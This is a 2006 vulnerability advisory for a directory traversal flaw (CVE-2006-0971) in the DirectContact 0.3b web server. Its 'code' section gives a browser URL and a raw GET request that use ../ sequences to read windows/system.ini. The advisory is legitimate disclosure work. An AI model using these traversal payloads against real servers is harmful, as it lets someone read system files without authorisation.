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Arrow  Topic :

directory traversal in DirectContact 0.3b


Arrow  SecurityAlert : 506
Arrow  CVE : CVE-2006-0971
Arrow  SecurityRisk : Medium  Security Risk Medium  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : Yes
Arrow  Credit : Donato Ferrante
Arrow  Published : 01.03.2006

Arrow  Affected Software : DirectContact 0.3b



Arrow  Advisory Content :  

Donato Ferrante

Application: DirectContact
http://reyero.info/dc/

Version: 0.3b

Bug: directory traversal

Date: 27-Feb-2006

Author: Donato Ferrante
e-mail: fdonato (at) autistici (dot) org [email concealed]
web: www.autistici.org/fdonato

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1. Description
2. The bug
3. The code
4. The fix

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----------------
1. Description:
----------------

Vendor's Description:

"DirectContact turns your computer in real "friendly" HTTP server."

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------------
2. The bug:
------------

The program is unable to manage malicious patterns like .. or ../.
So an attacker can go out the document root assigned to the webserver
and see/download all the files available on the remote system.

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-------------
3. The code:
-------------

To test the vulnerability:

via browser:
http://[host]:[port]/........windows/system.ini

via raw request:
GET /../../../../../../windows/system.ini HTTP/1.1

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------------
4. The fix:
------------

Vendor has been contacted.
Bug will be fixed in the next release.

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